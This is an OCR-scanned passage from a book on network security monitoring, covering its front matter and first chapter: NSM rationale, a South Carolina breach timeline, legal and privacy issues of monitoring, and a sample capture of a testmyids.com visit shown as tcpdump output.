compromised. Incident response is no longer an infrequent, ad-hoc affair. 
Rather, incident response should be a continuous business process with 
defined metrics and objectives. This book will provide a set of data, tools, 
and processes to use the network to your advantage and to transform your 
security operation to cope with the reality of constant compromise. If you 
don’t know how many intrusions afflicted your organization last quarter 
or how quickly you detected and contained those intrusions, this book will 
show you how to perform those activities and track those two key metrics. 


Audience 
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This book is for security professionals unfamiliar with NSM, as well as more 
senior incident handlers, architects, and engineers who need to teach NSM 
to managers, junior analysts, or others who may be technically less adept. 
I do not expect seasoned NSM practitioners to learn any astounding new 
technical details from this book, but I believe that few security professionals 


today have learned how to properly perform NSM. Those of you frustrated 
that your intrusion detection or prevention system (IDS/IPS) provides only 
alerts will find NSM to be a pleasant experience! 


Prerequisites 


I try to avoid duplicating material that other authors cover well. I assume 
you understand the basic use of the Linux and Windows operating systems, 
TCP/IP networking, and the essentials of network attack and defense. If 
you have gaps in your knowledge of either TCP/IP or network attack and 
defense, consider these books: 


The Internet and Its Protocols: A Comparative Approach by Adrian Farrel 
(Morgan Kaufmann, 2004; 840 pages). Farrel's book is not the newest, 
but it covers a wide range of protocols, including application protocols 
and IPv6, with bit-level diagrams for each and engaging prose. 


Wireshark Network Analysis, 2nd Edition, by Laura Chappell and Gerald 
Combs (Laura Chappell University, 2012; 986 pages). All network and 
security analysts need to understand and use Wireshark, and this book 
uses descriptions, screenshots, user-supplied case studies, review ques- 
tions (with answers), “practice what you've learned" sections, and doz- 
ens of network traces (available online). 

Hacking Exposed, 7th Edition, by Stuart McClure, et al (McGraw-Hill 
Osborne Media, 2012; 768 pages). Hacking Exposed remains the single 
best generic volume on attacking and defending IT assets, thanks to 
its novel approach: (1) Introduce a technology, (2) describe how to 
break it, and (3) explain how to fix it. 


Readers comfortable with the core concepts from these books may want 


to consider the following for deeper reference: 


Network Forensics: Tracking Hackers through Cyberspace by Sherri Davidoff 
and Jonathan Ham (Addison-Wesley, 2012; 592 pages). Network Forensics 
takes an evidence-centric approach, using network traffic (both wired 
and wireless), network devices (IDS/IPS, switches, routers, firewalls, 
and web proxies), computers (system logs), and applications to investi- 
gate incidents. 

Metasploit: The Penetration Testers Guide by David Kennedy, Jim O'Gorman, 
Devon Kearns, and Mati Aharoni (No Starch Press, 2011; 328 pages). 
Metasploit is an open source platform to exploit target applications and 
systems, and this book explains how to use it effectively. 


A Note on Software and Protocols 


The examples in this book rely on software found in the Security Onion 
(SO) distribution (Attp://securityonion.blogspot.com/). Doug Burks created SO 
to make it easy for administrators and analysts to conduct NSM using tools 
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like Snort, Suricata, Bro, Sguil, Squert, Snorby, Xplico, and NetworkMiner. 
SO is free and can be installed via a bootable Xubuntu ISO image or by 
adding the SO Personal Package Archive (PPA) to your favorite flavor of 
Ubuntu and installing the packages from there. Although FreeBSD is still 
a powerful operating system, Doug's work on SO, with contributions from 
Scott Runnels, has made Ubuntu Linux variants my first choice for NSM 
appliances. 

Rather than present tools independently, I've chosen to primarily rely 
on software found in SO, and all of the examples in the main text use open 
source tools to illustrate attack and defense. While commercial tools offer 
many helpful features, paid support, and a vendor to blame for problems, I 
recommend readers consider demonstrating capabilities with open source 
software first. After all, few organizations begin NSM operations with sub- 
stantial budgets for commercial software. 

This book focuses on IPv4 traffic. Some tools packaged with SO sup- 
port IPv6, but some do not. When IPv6 becomes more widely used in pro- 
duction networks, I expect more tools in SO to integrate IPv6 capabilities. 
Therefore, future edition of this book may address IPv6. 


This book consists of the following parts and chapters. 
Part I, “Getting Started,” introduces NSM and how to think about sen- 
sor placement. 


e Chapter 1, “Network Security Monitoring Rationale," explains why 
NSM matters, to help you gain the support needed to deploy NSM in 
your environment. 

e Chapter 2, “Collecting Network Traffic: Access, Storage, and Manage- 
ment,” addresses the challenges and solutions surrounding physical 
access to network traffic. 


Part IL, “Security Onion Deployment,” focuses on installing SO on 
hardware and configuring SO effectively. 


e Chapter 3, “Stand-alone NSM Deployment and Installation,” introduces 
SO and explains how to install the software on spare hardware to gain 
initial NSM capability at low or no cost. 

e Chapter 4, “Distributed Deployment,” extends Chapter 3 to describe 
how to install a dispersed SO system. 

e Chapter 5, “SO Platform Housekeeping,” discusses maintenance activi- 
ties for keeping your SO installation running smoothly. 


Part III, “Tools,” describes key software shipped with SO and how to 
use these applications. 


e Chapter 6, “Command Line Packet Analysis Tools,” explains the key 
features of Tcpdump, Tshark, Dumpcap, and Argus in SO. 


e Chapter 7, “Graphical Packet Analysis Tools," adds GUI-based software 
to the mix, describing Wireshark, Xplico, and NetworkMiner. 


e Chapter 8, “NSM Consoles," shows how NSM suites, like Sguil, Squert, 
Snorby, and ELSA, enable detection and response workflows. 


Part IV, “NSM in Action,” discusses how to use NSM processes and data 
to detect and respond to intrusions. 


e Chapter 9, “NSM Operations," shares my experience building and lead- 
ing a global computer incident response team (CIRT). 


e Chapter 10, “Server-side Compromise,” is the first NSM case study, 
wherein you'll learn how to apply NSM principles to identify and vali- 
date the compromise of an Internet-facing application. 


e Chapter 11, “Client-side Compromise,” is the second NSM case study, 
offering an example of a user being victimized by a client-side attack. 


e Chapter 12, “Extending SO,” concludes the main text with coverage of 
tools and techniques to expand SO’s capabilities. 


e Chapter 13, “Proxies and Checksums,” concludes the main text by 
addressing two challenges to conducting NSM. 


The Conclusion offers a few thoughts on the future of NSM, especially 
with respect to cloud environments. 

The Appendix, “SO Scripts and Configuration,” includes information 
from SO developer Doug Burks on core SO configuration files and control 
scripts. 
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Disclaimer 


This is a book about network monitoring—an act of collecting traffic that- 
may violate local, state, and national laws if done inappropriately. The tools 
and techniques explained in this book should be tested in a laboratory envi- 
ronment, apart from production networks. None of the tools or techniques 
discussed in this book should be tested with network devices outside the 
realm of your responsibility or authority. Any and all recommendations 
regarding the process of network monitoring that you find in this book 
should not be construed as legal advice. 


PART | 


GETTING STARTED 


NETWORK SECURITY 
MONITORING RATIONALE 


This chapter introduces the principles 
of network security monitoring (NSM), which 
is the collection, analysis, and escalation 





of indications and warnings to detect and 
respond to intrusions. NSM is a way to find intruders 
on your network and do something about them before 


they damage your enterprise. 


NSM began as an informal discipline with Todd Heberlein's develop- 
ment of the Network Security Monitor in 1988. The Network Security 
Monitor was the first intrusion detection system to use network traffic as 
its main source of data for generating alerts, and the Air Force Computer 
Emergency Response Team (AFCERT) was one of the first organizations 
to informally follow NSM principles. 

In 1998, the AFCERT worked with Heberlein to deploy a version of 
the Network Security Monitor as the Automated Security Incident Mea- 
surement (ASIM) system. I joined the AFCERT in 1998, where, together 
with incident handler Bamm Visscher, I codified the definition of NSM 
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for a SearchSecurity webcast in late 2002. I first published the definition in 
book form as a case study in Hacking Exposed, Fourth Edition.’ My goal since 
then has been to advocate NSM as a strategic and tactical operation to stop 
intruders before they make your organization the headline in tomorrow’s 
newspaper. 

The point of this book is to provide readers with the skills, tools, and 
processes to at least begin the journey of discovering adversaries. We need to 
recognize that incident response, broadly defined, should be a continuous busi- 
ness process, not an ad hoc, intermittent, information technology (IT)-centric 
activity. While NSM is not the only, or perhaps even the most comprehensive, 
answer to the problem of detecting, responding to, and containing intrud- 
ers, it is one of the best ways to mature from zero defenses to some defensive 
capability. Creating an initial operational capability builds momentum for 
an organization's intrusion responders, demonstrating that a company can 
find intruders and can do something to frustrate their mission. 


An Introduction to NSM 


Chapter 1 


To counter digital threats, security-conscious organizations build com- 
puter incident response teams (CIRTs). These units may consist of a single 
individual, a small group, or dozens of security professionals. If no one in 
your organization is responsible for handling computer intrusions, there's 
a good chance you'll suffer a breach in the near future. Investing in at least 
one security professional is well worth the salary you will pay, regardless of 
the size of your organization. 

This book assumes that your organization has a CIRT of at least one 
person, sufficiently motivated and supplied with resources to do something 
about intruders in your enterprise. If you're the only person responsible for 
security in your organization, congratulations! You are officially the CIRT. 
Thankfully, it's not costly or time-consuming to start making life difficult 
for intruders, and NSM is a powerful way to begin. 

When CIRTs conduct operations using NSM principles, they benefit 
from the following capabilities: 


e  CIRTs collect a rich amount of network-derived data, likely exceeding 
the sorts of data collected by traditional security systems. 


e CIRTs analyze this data to find compromised assets (such as laptops, 
personal computers, servers, and so on), and then relay that knowledge 
to asset owners. 


e  CIRTs and the owners of the computing equipment collaborate to con- 
tain and frustrate the adversary. 


e CIRTs and computer owners use NSM data for damage assessment, 
assessing the cost and cause of an incident. 


1. Stuart McClure, Joel Scambray, and George Kurtz, Hacking Exposed: Network Security Secrets 
& Solutions, Fourth Edition (McGraw-Hill Osborne Media, 2003). 


Consider the role of NSM in 
an enterprise security process. 
For example, Figure 1-1 shows 
how different security capabili- 
ties relate to one another, but not 
necessarily how they compare 
against an intruder's process. 


IT mainly responsible, security assists 


Prepare Filter 
Assess Protect 


Resolve 
Does NSM Prevent Intrusions? 


NSM does not involve prevent- 
ing intrusions because prevention 
eventually fails. One version of 
this philosophy is that security 
breaches are inevitable. In fact, 
any networked organization is 
likely to suffer either sporadic 

or constant compromise. (Your 
own experience may well confirm 
this hard-won wisdom.) 

But if NSM doesn't stop adversaries, what's the point? Here's the under- 
appreciated good news: Change the way you look at intrusions, and defenders 
can ultimately frustrate intruders. In other words, determined adversaries 
will inevitably breach your defenses, but they may not achieve their objective. 

Time is the key factor in this strategy" because intruders rarely execute 
their entire mission in the course of a few minutes, or even hours. In fact, 
the most sophisticated intruders seek to gain persistence in target networks— 
that is, hang around for months or years at a time. Even less advanced adver- 
saries take minutes, hours, or even days to achieve their goals. The point is 
that this window of time, from initial unauthorized access to ultimate mis- 
sion accomplishment, gives defenders an opportunity to detect, respond to, 
and contain intruders before they can finish the job they came to do. 

After all, if adversaries gain unauthorized access to an organization’s 
computers, but can’t get the data they need before defenders remove them, 
then what did they really achieve? 

I hope that you're excited by the thought that, yes, adversaries can com- 
promise systems, but CIRTS can *win" if they detect, respond to, and con- 
tain intruders before they accomplish their mission. But if you can detect it, 
why can't you prevent it? 

The simple answer is that the systems and processes designed to protect 
us aren't perfect. Prevention mechanisms can block some malicious activ- 
ity, but it's increasingly difficult for organizations to defend themselves as 
adversaries adopt more sophisticated tactics. A team can frustrate or resist 
intrusions, but time and knowledge frequently become the limiting factors. 


Respond 





Figure 1-1: Enterprise security cycle 





2. Security pioneer Winn Schwartau published Time-Based Security in 1999. I endorsed the 
centrality of time as presented in his book in 2005, in my post "Where in the World Is Winn 
Schwartau?” (Attp://taosecurity.blogspot.com/2005/04/where-in-world-is-winn-schwartau-if. html) . 
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Chapter 1 


THE IMPORTANCE OF TIME: CASE STUDY 


One real-world example shows the importance of time when defending against 
an intruder. In November 2012, the governor of South Carolina published the 
public version of a Mandiant incident response report." Mandiant is a secu- 


rity company that specializes in services and software for incident detection 
and response. The governor hired Mandiant to assist her state with this case. 
Earlier that year, an attacker compromised a database operated by the state's 
Department of Revenue (DoR]. The report provided details on the incident, but 
the following abbreviated timeline helps emphasize the importance of time. 
This case is based exclusively upon the details in the public Mandiant report. 


August 13, 2012 An intruder sends a malicious (phishing) email message to 
multiple DoR employees. At least one employee clicks a link in the message, 
unwittingly executing malware and becoming compromised in the process. 
Available evidence indicates that the malware stole the user's username and 
password. 


August 27, 2012 The attacker logs in to a Citrix remote access service using 
stolen DoR user credentials. The attacker uses the Citrix portal to log in to the 
user's workstation, and then leverages the user's access rights to access other 
DoR systems and databases. 


August 29-September 11, 2012 The attacker interacts with a variety of DoR sys- 
tems, including domain controllers, web servers, and user systems. He obtains 
passwords for all Windows user accounts and installs malicious software on 
many systems. Crucially, he manages to access a server housing DoR payment 
maintenance information. 


Notice that four weeks elapsed since the initial compromise via a phish- 
ing email message on August 13, 2012. The intruder has accessed multiple 
systems, installed malicious software, and conducted reconnaissance for other 
targets, but thus far has not stolen any data. The timeline continues: 


September 12, 2012 The attacker copies database backup files to a staging 
directory. 


September 13 and 14, 2012 The attacker compresses the database backup files 
into 14 (of the 15 total) encrypted 7-Zip archives. The attacker then moves the 
7-Zip archives from the database server to another server and sends the data 
to a system on the Internet. Finally, the attacker deletes the backup files and 
7-Zip archives. (Mandiant did not report the amount of time needed by the 
intruder to copy the files from the staging server to the Internet.) 


* South Carolina Department of Revenue and Mandiant, Public Incident Response Report 
(November 20, 2012) (hitp://governor.sc.gov/Documents/MANDIANT%20Public%20IR%20 
Report%20-%20Department%200f%20Revenue%20-%2011%2020%202012. pdf). 





From September 12 through 14, the intruder accomplishes his mission. 
After spending one day preparing to steal data, the intruder spends the next 
two days removing it. 


September 15, 2012 The attacker interacts with 10 systems using a compro- 
mised account and performs reconnaissance. 


September 16-October 16, 2012 There is no evidence of attacker activity, 

but on October 10, 2012, a law-enforcement agency contacts the DoR with 
evidence that the personally identifiable information (PII) of three individuals 
has been stolen. The DoR reviews the data and determines that it would have 
been stored within its databases. On October 12, 2012, the DoR contracts with 
Mandiant for assistance with incident response. 


About four weeks pass after the intruder steals data, and then the state 
learns of the intrusion from a third party and engages a professional incident 
response team. This is not the end of the story, however. 


October 17, 2012 The attacker checks connectivity to a server using the back- 
door installed on September 1, 2012. There is no evidence of additional activity. 


October 19 and 20, 2012 The DoR attempts to remedy the attack based on 
recommendations from Mandiant. The goal of remediation is to remove the 
attacker's access and to detect any new evidence of compromise. 


October 21-November 20, 2012 There is no evidence of malicious activity fol- 
lowing remediation. The DoR publishes the Mandiant report on this incident. 


Mandiant consultants, state personnel, and law enforcement were finally 
able to contain the intruder. Figure 1-2 summarizes the incident. 

The main takeaway from this case study is that the initial intrusion is not 
the end of the security process; it's just the beginning. If at any time during the 
first four weeks of this attack the DoR had been able to contain the attacker, 
he would have failed. Despite losing control of multiple systems, the DoR 
would have prevented the theft of personal information, saving the state at least 
$12 million in the process." 

It's easy to dismiss a single incident as one data point, but recent statistics 
corroborate key elements of the case study.” For one, the median time from 
the start of an intrusion to incident response is more than 240 days; that is, in 
most cases, victims stay compromised for a long time before anyone notices. 
Only one-third of organizations who contacted Mandiant for help identified the 
intrusions themselves. 


[continued] 


** The State of South Carolina reportedly owes Experian at least $12 million to pay for credit- 
monitoring services for breach victims. "How Will SC Pay for Security Breach?" December 3, 
2012 (http://www.wspa.com/story/21512285/how-will-sc-pay-for-security-breach). 


*** M-Trends 2013 (https;/www.mandiant.com/resources/m-trends/). 
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Aug 13: Phishing email 
Sept 15: More logins and recon 
Aug 27: Citrix login 

Aug 29: Password retrieval Oct 10: Law enforcement 
contacts SC DoR 
Sept 1: Domain password 


retrieval; backdoor Oct 12: SC DoR 


hires Mandiant 
Sept 2-4: Multiple 
logins and recon- 
naissance activities 


Sept 11: More Oct 21-present: 
logins and recon No further activity 


Sept 12: Copies database Oct 17: Intruder 
backup to staging directory checks backdoor 


Sept 13-14: Compresses Oct 19-20: DoR performs 
and moves database files, ^ remediation 
then copies to Internet 


Figure 1-2: Edited timeline of South Carolina Department of Revenve incident 


What Is the Difference Between NSM and Continuous Monitoring? 


Continuous monitoring (CM) is a hot topic in US federal government circles. 
Frequently, security professionals confuse CM with NSM. They assume that 
if their organization practices CM, NSM is unnecessary. 

Unfortunately, CM has almost nothing to do with NSM, or even with 
trying to detect and respond to intrusions. NSM is threat-centric, meaning 
adversaries are the focus of the NSM operation. CM is vulnerability-centric, 
focusing on configuration and software weaknesses. 

The Department of Homeland Security (DHS) and the National 
Institute of Standards and Technology (NIST) are two agencies responsible 
for promoting CM across the federal government. They are excited by CM 
and see it as an improvement over certification and accreditation (C&A) 
activities, which involved auditing system configurations every three years 
or so. For CM advocates, “continuous” means checking system configura- 
tions more often, usually at least monthly, which is a vast improvement over 
previous approaches. The “monitoring” part means determining whether 
systems are compliant with controls—that is, determining how much a sys- 
tem deviates from the standard. 


While these are laudable goals, CM should be seen as a complement to 
NSM, not a substitute for or a variant of NSM. CM can help you to provide 
better digital defense, but it is by no means sufficient. 

Consider the differences in the ways that CM and NSM are implemented: 


e ACM operation strives to find an organization's computers, identify 
vulnerabilities, and patch those holes, if possible. 


e An NSM operation is designed to detect adversaries, respond to their 
activities, and contain them before they can accomplish their mission. 


For more on CM, visit NIST’s website (http://www.nist.gov/). You will find help- 
ful material, such as the article “NIST Publishes Draft Implementation Guidance 
for Continuously Monitoring an Organization’s IT System Security,” January 24, 
2012 (http://www.nist.gov/itl/csd/monitoring-012412.cfm). I have also 
posted several times on this topic at the TaoSecurity blog (http://taosecurity 
.blogspot.com/); for example, see “Control ‘Monitoring’ is Not Threat Monitor- 
ing,” November 23, 2009 (http://taosecurity.blogspot.com/2009/11/ 
control-monitoring-is-not-threat.html). 


How Does NSM Compare with Other Approaches? 


If you're reading this book, I doubt that you operate a network without 
applying any security measures at all. You may wonder how your firewall, 
intrusion prevention system (IPS), antivirus (AV) software, whitelisting, 
data leakage/loss protection/prevention (DLP) system, and/or digital 
rights management (DRM) system work to try to stop intruders. How does 
this sea of security acronyms save you from attackers? 

Each of these platforms is a blocking, filtering, or denying mechanism. 
Their job is, to the extent possible, recognize malicious activity and stop 
it from happening, albeit at different stages in the life cycle of an intrusion. 
Figure 1-3 shows how each approach might cooperate in the case of an 
intruder attempting to access and then steal sensitive information from 
an enterprise system. 

These tools have various success rates against different sorts of attackers. 
Each generally has some role to play in the enterprise, although many orga- 
nizations deploy a subset of these technologies. Their shared goal is to control 
what happens in the enterprise. When configured properly, they can oper- 
ate without the need for human interaction. They just work. 

Unlike these tools, NSM is not a blocking, filtering, or denying tech- 
nology. It is a strategy backed by tactics that focus on visibility, not control. 
Users expect safety on the network, and they expect their security team to 
be aware when security controls fail. Unfortunately, failing security tools do 
not usually report their own weaknesses or flaws. NSM is one way to make 
the failure of security controls more visible. 
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Figure 1-3: Blocking, filtering, and denying mechanisms 


Why Does NSM Work? 


As a system—meaning a strategy- and tactics-based operation—NSM gives 
us the ability to detect, respond to, and contain intruders. Yet, intruders 
can evade control measures that block, filter, and deny malicious activity. 
What makes NSM so special? 

To understand this paradox, start from the perspective of the defender. 
Network operators must achieve perfect defense in order to keep out intrud- 
ers. If an intruder finds and exploits a vulnerability in a system, the enter- 
prise has an incident on its hands. When one sheepdog, guarding hundreds 
of sheep, faces a pack of wolves, at least some of the sheep will not live to see 
another day. The adversary *wins." 

Now look at things from the intruder's perspective. Assume the adver- 
sary is not a hit-and-run offender looking for a quick strike against a weak 
Internet-accessible database. Rather, he wants to compromise a network, 
establish persistence mechanisms, and remain in the system, undetected 
and free to gather information at will. He is like a wolf hiding in a flock of 
sheep, hoping the sheepdog fails to find him, day after day, week after week, 
and so on. 

An organization that makes visibility a priority, manned by personnel 
able to take advantage of that visibility, can be extremely hostile to persis- 
tent adversaries. When faced with the right kind of data, tools, and skills, 
an adversary eventually loses. As long as the CIRT can disrupt the intruder 
before he accomplishes his mission, the enterprise wins. 
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How NSM Is Set Up 


NSM starts with the network, and if you run a network, you can use NSM to 
defend it. While some variations of NSM involve installing software agents 
on computers, this book focuses on collecting and interpreting network 
traffic. To implement these activities, you need to understand your network 
architecture and make decisions about where you most need visibility. 
Consider a simple NSM deployment case. With the help of a network 
support team, the CIRT decides to implement an NSM operation to defend 
an organization’s Internet-connected offices. The CIRT and the network 
team collaborate to select a suitable location to achieve network visibility. 
The CIRT asks an engineer to configure a specific network switch to export 
copies of traffic passing through that switch (see Figure 1-4). (In the figure, 
DMZ refers to a network conceptually “between” the Internet and internal 
networks, a “demilitarized zone” where outside access to systems is permit- 
ted but tightly controlled.) The CIRT then deploys a dedicated server as 
an NSM platform, runs a cable from the network switch to the new NSM 
server, and configures software to analyze the network traffic exported by 
the switch. Chapter 2 explains how to choose monitoring locations, so stay 
tuned if you're wondering how to apply this concept to your organization. 


te) 










Wireless 
Network 


CIRT and network team ET 


configure switch to export 
traffic to NSM platform. 














Internal 
Network 


Figure 1-4: Simple network diagram and NSM platform 
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Installing a Tap 


A better way for network and security professionals to expand visibility is 
to install dedicated hardware for accessing network traffic, called a tap. 
For example, Figure 1-5 shows several Net Optics taps in my lab. The top 
three devices are network taps, but only the hardware at top left is pass- 
ing traffic. The other two taps are inactive. The devices below the taps are 
Cisco switches. 





Figure 1-5: Network taps and switches 


Net Optics (http://www.netoptics.com/) and other companies offer a wide 
variety of taps and related products to meet the needs of many types of 
organizations. 


When NSM Won’t Work 


Regardless of how much hardware you throw at a network, if you can’t 
observe the traffic that you care about, NSM will not work well. For example, 
most organizations do not conduct NSM on enterprise wireless traffic (such 
as 802.11 wireless local area networks, or WLANs) because the traffic from 
wireless node to wireless node should be encrypted, rendering NSM less 
effective. 

This means that laptops, tablets, and other devices connected via Wi-Fi 
are not subject to NSM when they talk directly to each other. CIRTs will 
observe network traffic leaving the wireless segment for a wired segment. 
For example, when a tablet user visits a web page using a Wi-Fi connection, 
the NSM operation will see the activity. Node-to-node activity, though, is 
largely unobserved at the network level. 


Similarly, CIRTs generally do not conduct NSM on cellular traffic 
because observing cell phone activity is outside the technical and legal 
mandate for most organizations. As with wireless systems, however, CIRTs 
will observe smartphones and cellular-capable tablets when they associate 
with a WLAN. 

In cloud or hosted environments, NSM faces unique challenges because 
the service provider owns the infrastructure. While the service provider 
may deploy software and hardware for NSM, it usually keeps the collected 
data to itself. The situation is the same with ISPs and telecommunications 
providers. 


Is NSM Legal? 


There is no easy answer to the question of NSM's legality, and you should 
check with a lawyer. No matter what, do not begin any NSM operation without 
obtaining qualified legal advice. 

In the United States, network and security teams are subject to federal 
and state law, such as the so-called “Wiretap Act,” U.S. Code 18 $ 2511. This 
includes one key provision that indicates permission for network monitor- 


ing which appears in 2511 (2) (a) (1): 


It shall not be unlawful under this chapter for an operator ofa 
switchboard, or an officer, employee, or agent of a provider of 
wire or electronic communication service, whose facilities are 
used in the transmission of a wire or electronic communication, 
to intercept, disclose, or use that communication in the normal 
course of his employment while engaged in any activity which 

is a necessary incident to the rendition of his service or to the 
protection of the rights or property of the provider of that ser- 
vice, except that a provider of wire communication service to the 
public shall not utilize service observing or random monitoring 
except for mechanical or service quality control checks." 


Other exceptions that seem to permit monitoring involve being a party 
to the conversation, or obtaining consent. They appear in 2511 (2) (d): 


It shall not be unlawful under this chapter for a person not acting 
under color of law to intercept a wire, oral, or electronic com- 
munication where such person is a party to the communication 
or where one of the parties to the communication has given prior 
consent to such interception unless such communication is inter- 
cepted for the purpose of committing any criminal or tortious act 
in violation of the Constitution or laws of the United States or of 
any State." 





3. 18 USC § 2511 - Interception and disclosure of wire, oral, or electronic communications 
prohibited, 2511 (2) (a) (i) (Attp://wunv.law.cornell.edu/uscode/text/18/25113:2 a, i/). 


4. I8 USC $ 2511 - Interception and disclosure of wire, oral, or electronic communications 
prohibited, 2511 (2) (d) (http://www.law.cornell.edu/uscode/text/18/2511#2_d/). 
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The “party” and “consent” exceptions are more difficult to justify 
than one might expect, but they are stronger than the “necessary incident” 
exception. 

As an example of state statutes, consider the Code of Virginia. Title 19.2, 
Criminal Procedure, contains Chapter 6, Interception of Wire, Electronic or Oral 
Communications. Section 19.2-62 in this chapter uses language that is very 
similar to the federal statute, which seems to allow monitoring: 


It shall not be a criminal offense under this chapter for any per- 
son... (f) Who is a provider of electronic communication service 
to record the fact that a wire or electronic communication was 
initiated or completed in order to protect such provider, another 
provider furnishing service toward the completion of the wire or 
electronic communication, or a user of that service, from fraudu- 
: MAE 
lent, unlawful or abusive use of such service. 


If these laws seem onerous, the situation in the European Union (EU) tends to be 
“worse” from an NSM perspective. While it is important and proper to protect the 
rights of network users, laws in the EU seem to place a high burden on security teams. 
In my experience, CIRTS can deploy NSM operations in the EU, but lengthy and 
complicated discussions with works councils and privacy teams are required. Add 
a 6- to 12-month delay to any rollout plans in privacy-heightened areas. 


How Can You Protect User Privacy During NSM Operations? 


Given the need to protect user privacy, it is important to manage NSM 
operations so that they focus on the adversary and not on authorized user 
activity. For this reason, you should separate the work of CIRTs from foren- 
sic professionals: 


e CIRTs should perform analysis, watch malicious activity, and protect 
authorized users and the organization. 


e Forensic professionals should perform investigations, watch fraud, and 
monitor abuse by authorized users, to protect the organization. 


In other words, CIRTs should focus on external threats, and forensic 
teams should focus on internal ones. Certainly, the work of one may over- 
lap with the other, but the key to maintaining separation is noticing when 
one team’s work strays into the realm of the other team. Once the two have 
been clearly separated, users will be more likely to trust that the CIRT has 
their best interests at heart. (Chapter 9 expands on the operational con- 
cerns of NSM as they relate to privacy and user rights.) 


5. Title 19.2, Code of Virginia § 19.2-62(http://legl.state.va.us/cgi-bin/legp504.exe? 000--cod-- 19. 2-62) . 


A Sample NSM Test 


Now that you know what NSM is, let's take a look at an example of activity 
that creates a network footprint, and then introduce how a few NSM tools 
see that event. Chapters 6, 7, and 8 provide details about these tools and 
data. The goal here is to give you a general sense of what NSM data looks 
like. I want you to understand how NSM and its datatypes are different 
from other security approaches and resources, such as firewalls, antivirus 
software, and application logging. The rest of the book will explain how to 
collect, analyze, and act on NSM data, so for now seek only to gain initial 
familiarity with the NSM approach. 

In this example, we use the Firefox web browser to visit http://www 
.testmyids.com/, which IT professionals use to test some types of security 
equipment. As you can see in Figure 1-6, the page returns what looks like 
the output of a Unix user ID (id) command run by an account with user 
ID (UID) 0, such as a root user. This is not a real id command, but just a 
webmaster's simulation. Many tools aren't configured to tell the difference 
between a real security issue and a test, so visiting this website is a conve- 
nient way to catch their attention. 


3 Mozilla Firefox 
File Edit View History Bookmarks Tools Help 


| i http://www.testmyids.com/ (a 
- |@ www.testmyids.com Y e| B- Google 











uid=0(root) gid=0(root) groups=0(root) 











Figure 1-6: Visiting http://www.testmyids.com/ with Firefox 


The main local evidence of a visit to the http://www.testmyids.com/ 
website would probably be the user's web browser history. But on the net- 
work, the Firefox web browser and the hitp://www.testmyids.com/ web server 
together generate three sets of data relevant to the NSM approach: 


l. The browser generates a Domain Name System (DNS) request for 
http://www.testmyids.com/, and receives a reply from a DNS server. 


2. The browser requests the web page, and the web server replies. 


3. Finally, the web browser requests a Favorite icon from the web server, 
and the web server replies. 
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Other traffic, such as lower-level Address Resolution Protocol (ARP) requests and 
replies may also occur, but they are not germane to this discussion. 


The exact mechanics of this activity are not important for this example. 
What is important is recognizing that all activity on a network creates traffic. 
NSM operators can capture this network traffic using any number of tools, 
and then can examine the captured data. 


The Range of NSM Data 


Chapter 1 


This section introduces multiple ways to analyze and view NSM data. Later 
chapters discuss the tools used to collect and analyze this data. NSM data 
may include the following: 


e Full content 

e Extracted content 
e Session data 

e Transaction data 
e = Statistical data 

e Metadata 

e Alert data 


Full Content Data 


For our purposes, when we collect full content data, we're collecting all infor- 
mation that passes across a network. We aren't filtering the data to collect 
only information associated with security alerts. We're not saving applica- 
tion logs. We're making exact copies of the traffic as seen on the wire. 

When security analysts work with full content data, they generally review 
itin two stages. They begin by looking at a summary of that data, represented 
by “headers” on the traffic. Then they inspect some individual packets. 


Reviewing a Data Summary 


Listing 1-1 shows an example of data collected by running the tool Tcp- 
dump while the Firefox web browser visited http://www.testmyids.com/. The 
IP address of the computer running the web browser is 192.168.238.152, 
and the IP address of the web server hosting hitp://www.testmyids.com/ is 
217.160.51.31. The IP address of the DNS server is 192.168.238.2. 





19:09:47.398547 IP 192.168.238.152.52518 » 192.168.238.2.53: 
3708+ A? www.testmyids.com. (35) 


19:09:47.469306 IP 192.168.238.2.53 » 192.168.238.152.52518: 
3708 1/0/0 A 217.160.51.31 (51) 


19:09:47.469646 IP 192.168.238.152.41482 » 217.160.51.31.80: 
Flags [S], seq 953674548, win 42340, options [mss 1460,sackOK,TS val 75892 
ecr 0,nop,wscale 11], length O 


19:09:47.594058 IP 217.160.51.31.80 » 192.168.238.152.41482: 
Flags [S.], seq 272838780, ack 953674549, win 64240, options [mss 1460], 
length 0 


19:09:47.594181 IP 192.168.238.152.41482 » 217.160.51.31.80: 
Flags [.], ack 1, win 42340, length o 


19:09:47.594427 IP 192.168.238.152.41482 » 217.160.51.31.80: 
Flags [P.], seq 1:296, ack 1, win 42340, length 295 


19:09:47.594932 IP 217.160.51.31.80 » 192.168.238.152.41482: 
Flags [.], ack 296, win 64240, length O 


19:09:47.714886 IP 217.160.51.31.80 > 192.168.238.152.41482: 
Flags [P.], seq 1:316, ack 296, win 64240, length 315 


19:09:47.715003 IP 192.168.238.152.41482 » 217.160.51.31.80: 
Flags [.], ack 316, win 42025, length O 


-- snip -- 


19:09:50.018064 IP 217.160.51.31.80 » 192.168.238.152.41482: 
Flags [FP.], seq 1958, ack 878, win 64240, length O 


19:09:50.018299 IP 192.168.238.152.41482 » 217.160.51.31.80: 
Flags [F.], seq 878, ack 1959, win 42025, length O 


19:09:50.018448 IP 217.160.51.31.80 » 192.168.238.152.41482: 
Flags [.], ack 879, win 64239, length O 





Listing 1-1: Tcpdump output showing headers 


The output in Listing 1-1 shows only packet headers, not the content of 
the packets themselves. 


Inspecting Packets 


After looking at a summary of the full content data, security analysts 

select one or more packets for deeper inspection. Listing 1-2 shows the 
same headers as seen in the sixth packet shown in Listing 1-1 (timestamp 
19:09:47.594427), but with the layer 2 headers listed first. Layer 2 headers 

are just another aspect of the packet we can see. They involve the hardware- 
level addresses, or Media Access Control (MAC) addresses used by computers 
to exchange data. Furthermore, the headers are now followed by payloads, 
with a hexadecimal representation on the left and an ASCII representation 
on the right. 
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19:09:47.594427 00:0c:29:fc:b0:3b > 00:50:56:fe:08:d6, ethertype IPv4 (0x0800), length 349: 
192.168.238.152.41482 » 217.160.51.31.80: Flags [P.], seq 1:296, ack 1, win 42340, length 295 


0x0000: 
0x0010: 
0x0020: 
0x0030: 
0x0040: 
0x0050: 
0x0060: 
0x0070: 
0x0080: 
0x0090: 
0x00a0: 
Ox00bO: 
0x00c0: 
0x00d0: 
0x00e0: 
0x00f0: 
0x0100: 
0x0110: 
0x0120: 
0x0130: 
0x0140: 
0x0150: 


0050 56fe 08d6 000c 29fc bo3b 0800 4500 .PV.....)..;..E. 
014f c342 4000 4006 ba65 cOa8 ee98 d9a0 .0.B0.0..e...... 
